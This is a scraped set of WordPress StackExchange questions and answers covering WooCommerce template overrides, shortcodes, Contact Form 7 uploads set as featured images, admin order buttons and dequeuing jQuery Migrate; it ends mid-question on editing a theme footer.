291,450 | <p>I'm running the latest version of WordPress (4.9.2) and WooCommerce (3.2.6) and I'm having issues overwriting the <code>My Account</code> template.</p>
<p>I've created a file in my theme:</p>
<pre><code>theme-name/woocommerce/myaccount/my-account.php
</code></pre>
<p>I have a page in my <code>WP Admin</code> with the <code>post_content</code> set to:</p>
<pre><code>[woocommerce_my_account]
</code></pre>
<p>However, when I open the link, <code>http://example.com/en/my-account</code>, it's showing the default <code>index.php</code>.</p>
<p>If I put the following code in my index, I get to see the account page:</p>
<pre><code>do_shortcode('[woocommerce_my_account]');
</code></pre>
<p>I've also made sure that my WooCommerce account page is set to the right one in <strong>WooCommerce > Settings > Account > My Account Page</strong>.</p>
<p>I can see in the body of the rendered page that has the following classes</p>
<pre><code>page-template-default page page-id-8 logged-in desktop woocommerce-account woocommerce-page
</code></pre>
<p>Does anyone know why it's not displaying the page properly?</p>
| [
{
"answer_id": 291909,
"author": "Dilip Gupta",
"author_id": 110899,
"author_profile": "https://wordpress.stackexchange.com/users/110899",
"pm_score": 0,
"selected": false,
"text": "<p>so <code>do_shortcode('[woocommerce_my_account]');</code> is working in index.php and <code>[woocommerc... | 2018/01/18 | [
"https://wordpress.stackexchange.com/questions/291450",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/104711/"
] | I'm running the latest version of WordPress (4.9.2) and WooCommerce (3.2.6) and I'm having issues overwriting the `My Account` template.
I've created a file in my theme:
```
theme-name/woocommerce/myaccount/my-account.php
```
I have a page in my `WP Admin` with the `post_content` set to:
```
[woocommerce_my_account]
```
However, when I open the link, `http://example.com/en/my-account`, it's showing the default `index.php`.
If I put the following code in my index, I get to see the account page:
```
do_shortcode('[woocommerce_my_account]');
```
I've also made sure that my WooCommerce account page is set to the right one in **WooCommerce > Settings > Account > My Account Page**.
I can see in the body of the rendered page that has the following classes
```
page-template-default page page-id-8 logged-in desktop woocommerce-account woocommerce-page
```
Does anyone know why it's not displaying the page properly? | so `do_shortcode('[woocommerce_my_account]');` is working in index.php and `[woocommerce_my_account]` is not working normal `wp admin` page.
have you tried looking for the issue with `the_content()` function? check if the loop is correct in your theme's template file. |
291,474 | <p>I have a shortcode which will have a big HTML.</p>
<p>It will have 4 selects which I'm getting the data inside the shortcode:</p>
<pre><code>$house_types = get_terms(array(
'taxonomy' => 'house_types',
'hide_empty' => 0
));
</code></pre>
<p>I would like to insert a template that can read this variable in order to build the select, my template file:</p>
<pre><code><label for="tipo">Tipos:</label>
<select name="tipo" id="house_types">
<option disabled selected value></option>
<?php
if(count($house_types) > 0) {
foreach($house_types as $house_type) {
echo '<option value="'.$house_type->term_id.'">'.$house_type->name.'</option>';
}
}
?>
</select>
</code></pre>
<p>I tried to use this, but it doesn't make sense to put the template inside the theme and not inside the plugin dir:</p>
<pre><code>function rci_search_houses( $atts ) {
ob_start();
$house_types = get_terms(array(
'taxonomy' => 'house_types',
'hide_empty' => 0
));
get_template_part('search', 'select');
$output = ob_get_contents();
ob_end_clean();
return $output;
}
add_shortcode('rci-search-houses', 'rci_search_houses');
</code></pre>
<p>But it doesn't show anything.</p>
<p>Anyone knows a better way to organize the shortcode in case it has a big html?</p>
| [
{
"answer_id": 291502,
"author": "Dharmishtha Patel",
"author_id": 135085,
"author_profile": "https://wordpress.stackexchange.com/users/135085",
"pm_score": 0,
"selected": false,
"text": "<pre><code><label for=\"tipo\">Tipos:</label>\n<select name=\"tipo\" id=\"house_types... | 2018/01/19 | [
"https://wordpress.stackexchange.com/questions/291474",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/133606/"
] | I have a shortcode which will have a big HTML.
It will have 4 selects which I'm getting the data inside the shortcode:
```
$house_types = get_terms(array(
'taxonomy' => 'house_types',
'hide_empty' => 0
));
```
I would like to insert a template that can read this variable in order to build the select, my template file:
```
<label for="tipo">Tipos:</label>
<select name="tipo" id="house_types">
<option disabled selected value></option>
<?php
if(count($house_types) > 0) {
foreach($house_types as $house_type) {
echo '<option value="'.$house_type->term_id.'">'.$house_type->name.'</option>';
}
}
?>
</select>
```
I tried to use this, but it doesn't make sense to put the template inside the theme and not inside the plugin dir:
```
function rci_search_houses( $atts ) {
ob_start();
$house_types = get_terms(array(
'taxonomy' => 'house_types',
'hide_empty' => 0
));
get_template_part('search', 'select');
$output = ob_get_contents();
ob_end_clean();
return $output;
}
add_shortcode('rci-search-houses', 'rci_search_houses');
```
But it doesn't show anything.
Anyone knows a better way to organize the shortcode in case it has a big html? | Your core issue is that you pass value as globals but never declare them as such.
Generally speaking, "template parts" are useful when you want to give the ability to someone else to override them via a child theme or plugin, but if you are doing a "one off" theme, it is just better to write a function that generates the form and pass to it the relevant parameters instead of using global variables. |
291,524 | <p>Let me start off by saying that I usually make alot of research before asking publicly for help - due to likelyhood of information already being on the web - altho I've done several days of reseach etc I'm still in agony...</p>
<p>I'm using Wordpress with Advanced Custom Fields plugin - I've been able to make it show the image on my front page using a simple HTML code</p>
<pre><code><img src="[acf field='image' post_id=''. $post_id .'']" />
</code></pre>
<p>Where I created a custom field called 'image' .
<strong>Now</strong> I want to create a shortcode to display this link if possible?
I've gone through alot of possiblities such as;</p>
<ul>
<li><a href="https://codex.wordpress.org/Shortcode_API#HTML" rel="nofollow noreferrer">Official Shortcode API</a> where I got no real useful information (that I had the knowledge to use)</li>
<li><a href="http://prntscr.com/i2ke7i" rel="nofollow noreferrer">using echo - return with simple html between ''</a> (it broke the page)</li>
</ul>
<p>Tried this too;</p>
<pre><code><?php
function my_shortcode() {
$output = '';
$output.= '<img src="[acf field='image' post_id=''. $post_id .'']" />';
return $output;
}
</code></pre>
<p>Didnt take... then I went for the last one I could find on the web;</p>
<pre><code> function my_shortcode() {
ob_start();
?> <HTML> <img src="[acf field='image' post_id=''. $post_id .'']" /> <?php
return ob_get_clean();
}
</code></pre>
<p>Which ended into something like this on my website - <a href="http://prntscr.com/i2ki7b" rel="nofollow noreferrer">outcome</a></p>
<p>I'm really out of my depth here guys... I'd be really glad if anyone would be willing to help me out a little!</p>
<p>Thanks in advance!</p>
| [
{
"answer_id": 291525,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 2,
"selected": true,
"text": "<p>You have to use <code>do_shortcode()</code> to execute shortcodes in your string</p>\n\n<p>Full code sho... | 2018/01/19 | [
"https://wordpress.stackexchange.com/questions/291524",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135164/"
] | Let me start off by saying that I usually make alot of research before asking publicly for help - due to likelyhood of information already being on the web - altho I've done several days of reseach etc I'm still in agony...
I'm using Wordpress with Advanced Custom Fields plugin - I've been able to make it show the image on my front page using a simple HTML code
```
<img src="[acf field='image' post_id=''. $post_id .'']" />
```
Where I created a custom field called 'image' .
**Now** I want to create a shortcode to display this link if possible?
I've gone through alot of possiblities such as;
* [Official Shortcode API](https://codex.wordpress.org/Shortcode_API#HTML) where I got no real useful information (that I had the knowledge to use)
* [using echo - return with simple html between ''](http://prntscr.com/i2ke7i) (it broke the page)
Tried this too;
```
<?php
function my_shortcode() {
$output = '';
$output.= '<img src="[acf field='image' post_id=''. $post_id .'']" />';
return $output;
}
```
Didnt take... then I went for the last one I could find on the web;
```
function my_shortcode() {
ob_start();
?> <HTML> <img src="[acf field='image' post_id=''. $post_id .'']" /> <?php
return ob_get_clean();
}
```
Which ended into something like this on my website - [outcome](http://prntscr.com/i2ki7b)
I'm really out of my depth here guys... I'd be really glad if anyone would be willing to help me out a little!
Thanks in advance! | You have to use `do_shortcode()` to execute shortcodes in your string
Full code should be like that
```
<?php
function my_shortcode( $atts ) {
$atts = shortcode_atts( array(
'post_id' => '', // Default value.
), $atts );
$output = '[acf field="image" post_id="' . $atts['post_id'] . '"]';
$output = do_shortcode( $output );
$output = '<img src="' . $output . '" />';
return $output;
}
add_shortcode('my_link', 'my_shortcode');
```
Usage:
```
[my_link post_id="xxx"]
```
where xxx is id of the requered post. |
291,538 | <p>I'm want to add confirm popup in checkout page if user select credit card gateway.
I success to add javascript code after click on "place order" button using:</p>
<pre><code>jQuery(function ($) {
$("form.woocommerce-checkout").on('submit', function () {
// show confirm popup and conditions to continue or return to form.
});
});
</code></pre>
<p>it's work, but in backgroud the page continue to redirect to place order.
how can I stop the redirect? and how can I make redirect after user click on OK in the confirm popup?</p>
| [
{
"answer_id": 291541,
"author": "mmm",
"author_id": 74311,
"author_profile": "https://wordpress.stackexchange.com/users/74311",
"pm_score": 2,
"selected": false,
"text": "<p>the first step is to define the event in doing this for the function </p>\n\n<pre><code>.on('submit', function (e... | 2018/01/19 | [
"https://wordpress.stackexchange.com/questions/291538",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135167/"
] | I'm want to add confirm popup in checkout page if user select credit card gateway.
I success to add javascript code after click on "place order" button using:
```
jQuery(function ($) {
$("form.woocommerce-checkout").on('submit', function () {
// show confirm popup and conditions to continue or return to form.
});
});
```
it's work, but in backgroud the page continue to redirect to place order.
how can I stop the redirect? and how can I make redirect after user click on OK in the confirm popup? | the first step is to define the event in doing this for the function
```
.on('submit', function (event) {
```
and after you can stop the form submit with this code :
```
event.preventDefault();
``` |
291,558 | <p>I am currently working on a wordpress/woocommerce project. At the backend, when the user clicks on woocommerce/orders menu, it will display all available order details. In order this table, there are several fields/columns (such as order, ship to, date, total, actions).</p>
<p>Under actions field, there are two buttons (order status and view). I want to add another button under this field. So, is there any code available that can be placed to functions.php to solve this problem.</p>
<p>Thank you. </p>
| [
{
"answer_id": 291563,
"author": "mmm",
"author_id": 74311,
"author_profile": "https://wordpress.stackexchange.com/users/74311",
"pm_score": 0,
"selected": false,
"text": "<p>to add a action in this row, you can try this code : </p>\n\n<pre><code>add_filter(\"woocommerce_admin_order_acti... | 2018/01/19 | [
"https://wordpress.stackexchange.com/questions/291558",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/132874/"
] | I am currently working on a wordpress/woocommerce project. At the backend, when the user clicks on woocommerce/orders menu, it will display all available order details. In order this table, there are several fields/columns (such as order, ship to, date, total, actions).
Under actions field, there are two buttons (order status and view). I want to add another button under this field. So, is there any code available that can be placed to functions.php to solve this problem.
Thank you. | @mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way?
Anyway, I have a different solution to add a new button to this column, and also want to post it:
```
add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' );
function add_content_to_wcactions_column() {
// create some tooltip text to show on hover
$tooltip = __('Some tooltip text here.', 'textdomain');
// create a button label
$label = __('Label', 'textdomain');
echo '<a class="button tips custom-class" href="#" data-tip="'.$tooltip.'">'.$label.'</a>';
}
```
Just replace the tooltip and label text and add your url in the link.
---
I tested the above code on an empty installation and this is what I get:
[](https://i.stack.imgur.com/XwqGj.jpg) |
291,579 | <p>I'm using Gravity Forms and after submission I want to use its built-in action <code>add_action( 'gform_after_submission', 'after_submission', 10, 2 );</code> to trigger a couple of click events from 2 different elements in that page. Is it possible? If so, how is it done?</p>
| [
{
"answer_id": 291563,
"author": "mmm",
"author_id": 74311,
"author_profile": "https://wordpress.stackexchange.com/users/74311",
"pm_score": 0,
"selected": false,
"text": "<p>to add a action in this row, you can try this code : </p>\n\n<pre><code>add_filter(\"woocommerce_admin_order_acti... | 2018/01/19 | [
"https://wordpress.stackexchange.com/questions/291579",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/78848/"
] | I'm using Gravity Forms and after submission I want to use its built-in action `add_action( 'gform_after_submission', 'after_submission', 10, 2 );` to trigger a couple of click events from 2 different elements in that page. Is it possible? If so, how is it done? | @mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way?
Anyway, I have a different solution to add a new button to this column, and also want to post it:
```
add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' );
function add_content_to_wcactions_column() {
// create some tooltip text to show on hover
$tooltip = __('Some tooltip text here.', 'textdomain');
// create a button label
$label = __('Label', 'textdomain');
echo '<a class="button tips custom-class" href="#" data-tip="'.$tooltip.'">'.$label.'</a>';
}
```
Just replace the tooltip and label text and add your url in the link.
---
I tested the above code on an empty installation and this is what I get:
[](https://i.stack.imgur.com/XwqGj.jpg) |
291,584 | <p>Im trying to disallow editors from publishing their own post, I would like editors to only be allowed to publish others submitted posts. </p>
<p>I would like contributors and authors to submit their posts for review. I would like the editor to approve these posts for publishing, but I do not want the editor to be able to publish their own posts. </p>
<p>I have been trying some plugins, and im not able to get this working. </p>
<p>Thank you for any help</p>
| [
{
"answer_id": 291563,
"author": "mmm",
"author_id": 74311,
"author_profile": "https://wordpress.stackexchange.com/users/74311",
"pm_score": 0,
"selected": false,
"text": "<p>to add a action in this row, you can try this code : </p>\n\n<pre><code>add_filter(\"woocommerce_admin_order_acti... | 2018/01/19 | [
"https://wordpress.stackexchange.com/questions/291584",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107068/"
] | Im trying to disallow editors from publishing their own post, I would like editors to only be allowed to publish others submitted posts.
I would like contributors and authors to submit their posts for review. I would like the editor to approve these posts for publishing, but I do not want the editor to be able to publish their own posts.
I have been trying some plugins, and im not able to get this working.
Thank you for any help | @mmm thanks for that code, I didnt know this filter yet. Do you know if it is also possible to add a tooltip that way?
Anyway, I have a different solution to add a new button to this column, and also want to post it:
```
add_action( 'woocommerce_admin_order_actions_end', 'add_content_to_wcactions_column' );
function add_content_to_wcactions_column() {
// create some tooltip text to show on hover
$tooltip = __('Some tooltip text here.', 'textdomain');
// create a button label
$label = __('Label', 'textdomain');
echo '<a class="button tips custom-class" href="#" data-tip="'.$tooltip.'">'.$label.'</a>';
}
```
Just replace the tooltip and label text and add your url in the link.
---
I tested the above code on an empty installation and this is what I get:
[](https://i.stack.imgur.com/XwqGj.jpg) |
291,601 | <p>I am trying to retrieve a file uploaded in the front-end with contact form 7 and assign it to a featured image custom post type. Heres is my code so far :</p>
<pre><code>function form_to_post( $posted_data ) {
$args = array(
'post_type' => 'projects',
'post_status'=> 'draft',
'post_title'=> wp_strip_all_tags( $posted_data['title'] ),
'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ),
);
$post_id = wp_insert_post($args);
if( ! is_wp_error( $post_id ) ) {
if( isset($posted_data['featured']) ){
$featuredUpload = wp_upload_bits($posted_data['featured']['name'], null, file_get_contents($posted_data['featured']['tmp_name']));
$filename = $featuredUpload['file'];
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_parent' => $post_id,
'post_title' => sanitize_file_name($filename),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );
if (!is_wp_error($attachment_id)) {
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
set_post_thumbnail( $post_id, $attachment_id );
}
}
}
return $posted_data;
}
add_filter( 'wpcf7_posted_data', 'form_to_post' );
</code></pre>
<p>The <code>error_log</code> shows 1 as the value of <code>$posted_data['featured']</code> so that means the file datas are not stored in this variable. I've looked at the <a href="https://contactform7.com/file-uploading-and-attachment/" rel="nofollow noreferrer">Contact Form 7 doc</a> and they say that the file is moved to a temporary directory (wp-content/uploads/wpcf7_uploads) before the mail is sent. So does anyone know how to get the file datas?</p>
<p>Thanks</p>
| [
{
"answer_id": 291620,
"author": "Judd Franklin",
"author_id": 135197,
"author_profile": "https://wordpress.stackexchange.com/users/135197",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like the filter you are hooking onto doesn't have access to the post data.</p>\n\n<p>If you ... | 2018/01/19 | [
"https://wordpress.stackexchange.com/questions/291601",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/54879/"
] | I am trying to retrieve a file uploaded in the front-end with contact form 7 and assign it to a featured image custom post type. Heres is my code so far :
```
function form_to_post( $posted_data ) {
$args = array(
'post_type' => 'projects',
'post_status'=> 'draft',
'post_title'=> wp_strip_all_tags( $posted_data['title'] ),
'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ),
);
$post_id = wp_insert_post($args);
if( ! is_wp_error( $post_id ) ) {
if( isset($posted_data['featured']) ){
$featuredUpload = wp_upload_bits($posted_data['featured']['name'], null, file_get_contents($posted_data['featured']['tmp_name']));
$filename = $featuredUpload['file'];
$wp_filetype = wp_check_filetype($filename, null );
$attachment = array(
'post_mime_type' => $wp_filetype['type'],
'post_parent' => $post_id,
'post_title' => sanitize_file_name($filename),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );
if (!is_wp_error($attachment_id)) {
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
set_post_thumbnail( $post_id, $attachment_id );
}
}
}
return $posted_data;
}
add_filter( 'wpcf7_posted_data', 'form_to_post' );
```
The `error_log` shows 1 as the value of `$posted_data['featured']` so that means the file datas are not stored in this variable. I've looked at the [Contact Form 7 doc](https://contactform7.com/file-uploading-and-attachment/) and they say that the file is moved to a temporary directory (wp-content/uploads/wpcf7\_uploads) before the mail is sent. So does anyone know how to get the file datas?
Thanks | Thanks @Judd Franklin for the directions. I was also missing `$submission->uploaded_files();`.
Here is the working code for those who are looking for the same answer:
```
function image_form_to_featured_image( $contact_form ) {
$submission = WPCF7_Submission::get_instance();
$posted_data = $submission->get_posted_data();
// Creating a new post with contact form values
$args = array(
'post_type' => 'projects',
'post_status'=> 'draft',
'post_title'=> wp_strip_all_tags( $posted_data['title'] ),
'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ),
);
$post_id = wp_insert_post($args);
// Retrieving and inserting uploaded image as featured image
$uploadedFiles = $submission->uploaded_files();
if( isset($posted_data['featured']) ){
$featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured']));
require_once(ABSPATH . 'wp-admin/includes/admin.php');
$filename = $featuredUpload['file'];
$attachment = array(
'post_mime_type' => $featuredUpload['type'],
'post_parent' => $post_id,
'post_title' => sanitize_file_name($filename),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );
if (!is_wp_error($attachment_id)) {
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
set_post_thumbnail( $post_id, $attachment_id );
}
}
}
add_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );
``` |
291,639 | <p>I am trying to change this wordpress function given in my theme to show posts from category instead of tags.</p>
<p>But due to wordpress beginner i am unable to do this. </p>
<p>Please help me to change this code.</p>
<pre><code><div id="tabs_content_container2">
<div id="tab3" class="tab_content2" style="display: block;">
<ul class="mv_list_small">
<?php
$orig_post = $post;
global $post;
$tags = wp_get_post_($post->ID);
if ($tags) {
$tag_ids = array();
foreach($tags as $individual_tag) $tag_ids[] = $individual_tag->term_id;
$args=array(
'tag__in' => $tag_ids,
'post__not_in' => array($post->ID),
'posts_per_page'=>10, // Number of related posts to display.
'ignore_sticky_posts'=>1
);
$my_query = new wp_query( $args );
$num=1;
while( $my_query->have_posts() ) {
$my_query->the_post();
?>
<li><a href="<?php the_permalink(); ?>">
</code></pre>
<p>and after searching on internet i also got the code for related post to show from category. But unable to replace it correctly. Here is the code from internet.</p>
<p><a href="https://wordpress.stackexchange.com/questions/41272/how-to-show-related-posts-by-category">How to show related posts by category</a></p>
<p>help me to change my default tag code with the category code.</p>
<p>Thank you.</p>
| [
{
"answer_id": 291620,
"author": "Judd Franklin",
"author_id": 135197,
"author_profile": "https://wordpress.stackexchange.com/users/135197",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like the filter you are hooking onto doesn't have access to the post data.</p>\n\n<p>If you ... | 2018/01/20 | [
"https://wordpress.stackexchange.com/questions/291639",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135224/"
] | I am trying to change this wordpress function given in my theme to show posts from category instead of tags.
But due to wordpress beginner i am unable to do this.
Please help me to change this code.
```
<div id="tabs_content_container2">
<div id="tab3" class="tab_content2" style="display: block;">
<ul class="mv_list_small">
<?php
$orig_post = $post;
global $post;
$tags = wp_get_post_($post->ID);
if ($tags) {
$tag_ids = array();
foreach($tags as $individual_tag) $tag_ids[] = $individual_tag->term_id;
$args=array(
'tag__in' => $tag_ids,
'post__not_in' => array($post->ID),
'posts_per_page'=>10, // Number of related posts to display.
'ignore_sticky_posts'=>1
);
$my_query = new wp_query( $args );
$num=1;
while( $my_query->have_posts() ) {
$my_query->the_post();
?>
<li><a href="<?php the_permalink(); ?>">
```
and after searching on internet i also got the code for related post to show from category. But unable to replace it correctly. Here is the code from internet.
[How to show related posts by category](https://wordpress.stackexchange.com/questions/41272/how-to-show-related-posts-by-category)
help me to change my default tag code with the category code.
Thank you. | Thanks @Judd Franklin for the directions. I was also missing `$submission->uploaded_files();`.
Here is the working code for those who are looking for the same answer:
```
function image_form_to_featured_image( $contact_form ) {
$submission = WPCF7_Submission::get_instance();
$posted_data = $submission->get_posted_data();
// Creating a new post with contact form values
$args = array(
'post_type' => 'projects',
'post_status'=> 'draft',
'post_title'=> wp_strip_all_tags( $posted_data['title'] ),
'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ),
);
$post_id = wp_insert_post($args);
// Retrieving and inserting uploaded image as featured image
$uploadedFiles = $submission->uploaded_files();
if( isset($posted_data['featured']) ){
$featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured']));
require_once(ABSPATH . 'wp-admin/includes/admin.php');
$filename = $featuredUpload['file'];
$attachment = array(
'post_mime_type' => $featuredUpload['type'],
'post_parent' => $post_id,
'post_title' => sanitize_file_name($filename),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );
if (!is_wp_error($attachment_id)) {
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
set_post_thumbnail( $post_id, $attachment_id );
}
}
}
add_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );
``` |
291,675 | <p>From WordPress 4.9.2, I created a child theme for twentyseventeen. I noticed that it comes with its own SVG icon system for social media icons at the bottom of the page. I see some of that code initiated within the <code>site-info.php</code> file, in <code>wp_nav_menu()</code>.</p>
<pre><code><nav class="social-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Footer Social Links Menu', 'twentyseventeen' ); ?>">
<?php
wp_nav_menu( array(
'theme_location' => 'social',
'menu_class' => 'social-links-menu',
'depth' => 1,
'link_before' => '<span class="screen-reader-text">',
'link_after' => '</span>' . twentyseventeen_get_svg( array( 'icon' => 'chain' ) ),
) );
?>
</code></pre>
<p></p>
<p>I also see that <code>svg-icons.svg</code> is another file associated to the process.</p>
<p>I would like to use my own custom icons to talk with my custom links associated in the footer. What template techniques have worked well for replacing this SVG system? (again the goal if for me to use my own custom icons, which are <code>.png</code> images)</p>
| [
{
"answer_id": 291620,
"author": "Judd Franklin",
"author_id": 135197,
"author_profile": "https://wordpress.stackexchange.com/users/135197",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like the filter you are hooking onto doesn't have access to the post data.</p>\n\n<p>If you ... | 2018/01/20 | [
"https://wordpress.stackexchange.com/questions/291675",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/98671/"
] | From WordPress 4.9.2, I created a child theme for twentyseventeen. I noticed that it comes with its own SVG icon system for social media icons at the bottom of the page. I see some of that code initiated within the `site-info.php` file, in `wp_nav_menu()`.
```
<nav class="social-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Footer Social Links Menu', 'twentyseventeen' ); ?>">
<?php
wp_nav_menu( array(
'theme_location' => 'social',
'menu_class' => 'social-links-menu',
'depth' => 1,
'link_before' => '<span class="screen-reader-text">',
'link_after' => '</span>' . twentyseventeen_get_svg( array( 'icon' => 'chain' ) ),
) );
?>
```
I also see that `svg-icons.svg` is another file associated to the process.
I would like to use my own custom icons to talk with my custom links associated in the footer. What template techniques have worked well for replacing this SVG system? (again the goal if for me to use my own custom icons, which are `.png` images) | Thanks @Judd Franklin for the directions. I was also missing `$submission->uploaded_files();`.
Here is the working code for those who are looking for the same answer:
```
function image_form_to_featured_image( $contact_form ) {
$submission = WPCF7_Submission::get_instance();
$posted_data = $submission->get_posted_data();
// Creating a new post with contact form values
$args = array(
'post_type' => 'projects',
'post_status'=> 'draft',
'post_title'=> wp_strip_all_tags( $posted_data['title'] ),
'post_content'=> wp_strip_all_tags( $posted_data['pitch'] ),
);
$post_id = wp_insert_post($args);
// Retrieving and inserting uploaded image as featured image
$uploadedFiles = $submission->uploaded_files();
if( isset($posted_data['featured']) ){
$featuredUpload = wp_upload_bits($posted_data['featured'], null, file_get_contents($uploadedFiles['featured']));
require_once(ABSPATH . 'wp-admin/includes/admin.php');
$filename = $featuredUpload['file'];
$attachment = array(
'post_mime_type' => $featuredUpload['type'],
'post_parent' => $post_id,
'post_title' => sanitize_file_name($filename),
'post_content' => '',
'post_status' => 'inherit'
);
$attachment_id = wp_insert_attachment( $attachment, $filename, $post_id );
if (!is_wp_error($attachment_id)) {
require_once(ABSPATH . 'wp-admin/includes/image.php');
$attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename );
wp_update_attachment_metadata( $attachment_id, $attachment_data );
set_post_thumbnail( $post_id, $attachment_id );
}
}
}
add_action( 'wpcf7_before_send_mail', 'image_form_to_featured_image' );
``` |
291,700 | <p>WordPress loads jQuery.migrate automatically:</p>
<p>How can I disable it without plugins? I didn't find code in functions.php with <code>enqueue</code>.</p>
<p>It loads from <code>/wp-includes</code>. How can I disable it?</p>
| [
{
"answer_id": 291711,
"author": "swissspidy",
"author_id": 12404,
"author_profile": "https://wordpress.stackexchange.com/users/12404",
"pm_score": 5,
"selected": false,
"text": "<p>jQuery Migrate is nothing but a dependency of the jQuery script in WordPress, so one can simply remove tha... | 2018/01/21 | [
"https://wordpress.stackexchange.com/questions/291700",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/133900/"
] | WordPress loads jQuery.migrate automatically:
How can I disable it without plugins? I didn't find code in functions.php with `enqueue`.
It loads from `/wp-includes`. How can I disable it? | jQuery Migrate is nothing but a dependency of the jQuery script in WordPress, so one can simply remove that dependency.
The code for that is pretty straightforward:
```
function dequeue_jquery_migrate( $scripts ) {
if ( ! is_admin() && ! empty( $scripts->registered['jquery'] ) ) {
$scripts->registered['jquery']->deps = array_diff(
$scripts->registered['jquery']->deps,
[ 'jquery-migrate' ]
);
}
}
add_action( 'wp_default_scripts', 'dequeue_jquery_migrate' );
```
This will prevent the jQuery Migrate script from being loaded on the front end while keeping the jQuery script itself intact. It's still being loaded in the admin to not break anything there.
In case you don't want to put this in your own plugin or theme, you can use a plugin like [jQuery Light](https://packagist.org/packages/wearerequired/jquery-light) that does this for you. |
291,721 | <p>I'm getting the following errors on my WordPress site</p>
<pre><code>Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19
Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19
Fatal error: require(): Failed opening required '/home/[site]/public_html/wp-includes/load.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/[site]/public_html/wp-settings.php on line 19
</code></pre>
<p>I've been troubleshooting for a few days but could really use some help.</p>
<p><strong>File permissions:</strong></p>
<p>wp-settings.php: 644</p>
<p>wp-config.php: 444</p>
<p>wp-includes: 755</p>
<p>wp-includes/load.php: 644</p>
<p>Anyone know what it could be? I've tried manually upgrading the files(deleting the old wp-files and updating), but still nothing. PHP version is 7.</p>
<p>Thanks!</p>
| [
{
"answer_id": 291719,
"author": "VihangaAW",
"author_id": 105067,
"author_profile": "https://wordpress.stackexchange.com/users/105067",
"pm_score": 3,
"selected": true,
"text": "<p>Just install a good anti-spam plugin. They will monitors site's comments for spam and automatically blocks... | 2018/01/21 | [
"https://wordpress.stackexchange.com/questions/291721",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/120278/"
] | I'm getting the following errors on my WordPress site
```
Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19
Warning: require(/home/[site]/public_html/wp-includes/load.php): failed to open stream: No such file or directory in /home/[site]/public_html/wp-settings.php on line 19
Fatal error: require(): Failed opening required '/home/[site]/public_html/wp-includes/load.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/[site]/public_html/wp-settings.php on line 19
```
I've been troubleshooting for a few days but could really use some help.
**File permissions:**
wp-settings.php: 644
wp-config.php: 444
wp-includes: 755
wp-includes/load.php: 644
Anyone know what it could be? I've tried manually upgrading the files(deleting the old wp-files and updating), but still nothing. PHP version is 7.
Thanks! | Just install a good anti-spam plugin. They will monitors site's comments for spam and automatically blocks spam comments.
BTW WordPress come with Akismet which is a spam protection plugin installed by default. To enable the plugin, go to the Plugins and activate the Plugin.
[Akismet Anti-Spam](https://wordpress.org/plugins/akismet/) |
291,732 | <p>I've been trying to edit a footer.php file for the Wordpress eCommerce theme called SornaCommerce. There is a text that says "Proudly powered by WordPress | Theme: SornaCommerce by eDataStyle.". Instead of that I want to add some links and widgets.</p>
<p>The footer.php text says the following</p>
<pre><code></div>
</code></pre>
<p>
</p>
<pre><code> <?php
/**
